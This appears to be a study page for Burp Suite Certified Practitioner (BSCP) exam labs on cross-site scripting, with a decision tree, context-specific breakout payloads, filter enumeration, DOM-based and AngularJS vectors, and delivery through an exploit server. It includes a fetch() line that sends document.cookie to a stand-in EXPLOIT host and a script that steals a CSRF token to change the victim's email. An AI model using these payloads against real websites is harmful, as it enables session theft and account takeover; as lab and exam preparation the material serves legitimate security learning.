Skip to content

Cross-Site Scripting (XSS)

← Back to index · Stage 1 (hijack a user) / Stage 2 (hijack the admin) · Read the mindset page first.

Why XSS exists: the app takes your input and puts it into a page that someone's browser then renders — without encoding it — so the browser can't tell your input from the developer's HTML and runs it as code. Every XSS fix is "encode the output"; every XSS exploit is "find output that wasn't encoded, and land in a context where the browser executes me." So the job was never "try an XSS payload" — it's read where your input lands and break out of that exact context.

The one rule: find every reflection → identify the exact context it lands in → break out of precisely that context. The payload is dictated by the context; it is never a guess.

Decision tree

flowchart TD
  A["Inject a unique marker: claude1337"] --> B["Find EVERY reflection in the response"]
  B --> C{"What context does it land in?"}
  C -->|between tags| H["HTML text"]
  C -->|inside an attribute| AT["Tag attribute"]
  C -->|inside a script string| JS["JS string"]
  C -->|inside backticks| TL["Template literal"]
  C -->|in href/src| URL["URL context"]
  C -->|only in a JS sink| DOM["DOM-based"]
  H --> F{"Tags/events filtered?"}
  F -->|no| FIRE["Fire a no-click Chrome vector"]
  F -->|yes| ENUM["Enumerate allowed tags then events"]
  ENUM --> FIRE
  AT --> FIRE
  JS --> FIRE
  FIRE --> W{"Session cookie HttpOnly?"}
  W -->|no| CK["Exfil document.cookie"]
  W -->|yes| ACT["Scrape CSRF token, force an action"]

1. Find & fingerprint the reflection — the step people skip

Before any payload, send a unique marker (claude1337) into each input and read how it comes back. This single observation decides everything after it, and skipping it is why people spray payloads for an hour.

  • Search the whole response — a value often reflects in several places, each a different context.
  • Inject claude"'<> and see which of the four survive raw vs HTML-encoded. This is the decision: raw < → you can inject a tag; encoded &lt; → you're stuck inside the current context and must escape it, not inject a tag.

How to read it: the response is telling you exactly what's possible. If your " comes back raw inside value="...", you can break the attribute. If everything is encoded except in a <script> block, you're in a JS-string context. You're not guessing the context — you're reading it.

2. Break out — by context, and why each escape works

Each escape works because it closes the syntactic container your input is trapped in and starts executable code:

HTML text    <div>MARKER</div>   -> <img src=x onerror=alert(document.domain)>   (just inject a tag)
Quoted attr  value="MARKER"      -> "><svg onload=alert(1)>   (the " closes the attribute, > ends the tag)
                                  -> " autofocus onfocus=alert(1) x="   (stay in the tag, add an auto-firing event)
JS string    var q='MARKER'      -> '-alert(1)-'   (the ' ends the string; -...- keeps it valid JS)
Template     `hi MARKER`         -> ${alert(1)}    (no breakout needed — ${} executes inside backticks)
URL / href   href="MARKER"       -> javascript:alert(1)   (the protocol itself is the vector)

Prefer no-interaction vectors (onerror, onload, autofocus+onfocus): the BSCP victim just visits — they won't click or hover, so an onclick never fires.

3. Filtered? Enumerate allowed tags & events

Why this works: a filter blocks known vectors, so you systematically discover what it didn't block. Intruder the XSS cheat-sheet's tag list → find the surviving tag; Intruder the event list onto it → find the surviving event; combine.

<xss id=x onfocus=alert(document.cookie) tabindex=1>   <!-- deliver with /?search=...#x to auto-focus -->

4. DOM-based XSS

Why it's different: there's no server reflection — the bug is entirely in client JS that takes a source you control (location.search, location.hash, postMessage) and passes it to a dangerous sink (innerHTML, eval, document.write). Read the JS (or use DOM Invader) to trace source→sink.

Reflected DOM via eval()/JSON :  \"-alert(1)}//    (the app escapes " as \" but forgets your \, so your \ eats its escape)
AngularJS (ng-app present)    :  {{$on.constructor('alert(1)')()}}

5. Weaponize — and the decision that silently kills exploits

A firing alert() proves nothing to the exam; you need the victim's session or an action as them.

Read Set-Cookie for HttpOnly first. If it's set, document.cookie returns nothing — a cookie-stealer can never work no matter how perfect the XSS, and this is the #1 reason a "working" XSS yields nothing. Not set → steal it. Set → force an action.

// Not HttpOnly — steal the cookie, read it from the exploit-server access log
<script>fetch('https://EXPLOIT/?c='+document.cookie)</script>

// HttpOnly — scrape the CSRF token and force an account takeover
<script>
fetch('/my-account').then(r=>r.text()).then(t=>{
 var c=t.match(/name="csrf" value="([^"]+)"/)[1];
 fetch('/my-account/change-email',{method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'email=you@EXPLOIT&csrf='+c});
});</script>

6. Deliver

  • Reflected: host a page on the exploit server that sends the victim to your crafted URL (location='https://TARGET/?search='+encodeURIComponent('...')).
  • Stored: plant it where the victim/admin loads it; it fires on view.
  • Test in Chrome first (Burp's browser) — if it fires there, it fires for the Chromium victim.

Failure modes — read them as information

  • Marker comes back encoded → not injectable here; escape the current context, or find another reflection.
  • Payload fires but you get nothing back → cookie is HttpOnly; switch to forcing an action.
  • Nothing fires for the victim → confirm the exploit-server access log / Collaborator actually got a hit (did the victim even load it?), and check it's a no-interaction vector.
  • alert works locally but not for the victim → Firefox-only vector, or a CSP header is blocking inline script (read the Content-Security-Policy response header — that needs a CSP bypass, not a better payload).
  • You broke out of the wrong reflection → you had multiple reflections; check each context.